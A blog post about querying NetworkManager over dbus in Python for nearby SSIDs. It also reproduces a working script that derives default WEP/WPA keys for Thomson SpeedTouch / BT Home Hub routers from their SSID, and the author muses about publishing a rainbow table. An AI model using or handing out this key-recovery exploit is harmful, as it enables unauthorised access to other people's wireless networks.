Stuff I Learned Today (But Didn't Really Want To)

I had this idea for doing a script that required me to grab a list of all the SSIDs that my saw nearby, and instead of using iwlist like everyone else, I decided to use the dbus bindings and query NetworkManager for the info it already had.

Ought to be simple, right?

Well, no. As is usual, it is damn near impossible to find structured documentation regarding bleeding-edge packages, and the API changed from 0.6.x to 0.7.x (and, of course, I’m running 0.7.whatever right now), so I had to for stuff until I came across cnetworkmanager, whose very internal structure is a testament to the insane amount of changes NetworkManager has gone through.

After poking around inside it a bit, I came up with this simple script that grabs the list of SSIDs NetworkManager 0.7.x knows about:

import dbus

NM = 'org.freedesktop.NetworkManager'
NMP = '/org/freedesktop/NetworkManager'
NMI = NM + '.Device'
PI = 'org.freedesktop.DBus.Properties'

def list_ssids():
  # get the base NetworkManager object and bind an interface  to it
  bus = dbus.SystemBus()
  nm = bus.get_object(NM,NMP)
  nmi = dbus.Interface(nm,NM)
  # Iterate over the devices queried via the interface
  for dev in nmi.GetDevices():
    # get each and bind a property interface to it
    devo = bus.get_object(NM,dev)
    devpi = dbus.Interface(devo,PI)
    # Single out the Wi-Fi ones
    if devpi.Get(NM,'DeviceType') == 2:
      wdevi = dbus.Interface(devo,NMI + '.Wireless')
      for ap in wdevi.GetAccessPoints():
         apo = bus.get_object(NM,ap)
         api = dbus.Interface(apo,PI)
         # unpack the SSID string
         print ''.join(["%c" % b for b in api.Get(NMI,'Ssid')])

if __name__ == '__main__':
  list_ssids()

This is of dubious (and most likely ephemeral) interest, but it might be useful to someone.

For now, it’s just a building block towards the final script, which will eventually help us figure out how to deal with the recent spate of Thomson Wi-Fi router exploits that allow one to derive the WEP/WPA keys from the SSID alone:

#!/usr/bin/python
#
# Python version of stkeys.c by Kevin Devine (see http://weiss.u40.hosting.digiweb.ie/stech/)
# Requires Python 2.5 for hashlib
#
# This script will generate possible WEP/WPA keys for Thomson SpeedTouch / BT Home Hub routers,
# given the last 4 or 6 characters of the default SSID. E.g. For SSID 'SpeedTouchF8A3D0' run:
#
# ./ssid2key.py f8a3d0
#
# By Hubert Seiwert, [email protected] 2008-04-17
#
# By default, keys for router serial numbers matching years 2005 to 2007 will be generated.
# If you wish to change this, edit year_list below.

import sys
import hashlib

ssid_end = sys.argv[1].lower()
offset = 40-(len(ssid_end))
charset = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
year_list = [2007,2008]

def ascii2hex(char):
        return hex(ord(char))[2:]

print 'Possible keys for SSID ending %s:' % ssid_end.upper()
count = 0

for year in [y-2000 for y in year_list]:
        for week in range(1,53): #1..52
                #print 'Trying year 200%d week %d' % (year,week)
                for char1 in charset:
                        for char2 in charset:
                                for char3 in charset:
                                        sn = 'CP%02d%02d%s%s%s' % (year,week,ascii2hex(char1),ascii2hex(char2),ascii2hex(char3))
                                        hash = hashlib.sha1(sn.upper()).hexdigest()
                                        if hash[offset:] == ssid_end:
                                                print hash[0:10].upper()
                                                count += 1;
print 'Done. %d possible keys found.' % count

Yeah, it’s that simple. CPU brute-forcing at its best, and a clear sign that security through obscurity is still alive and kicking. I have half a mind to unwind this into a rainbow table and make it available for download somewhere, but for now just knowing this is possible is enough.

As to automating the scans, I will eventually figure out how to get NetworkManager to connect to a specific SSID, but there is one bit of missing functionality that strikes me as obvious (and that was why I stuck to trying to figure out dbus until I had enough) - building a dbus listener that gets notified every time a new network pops up, which is left as an exercise to the reader.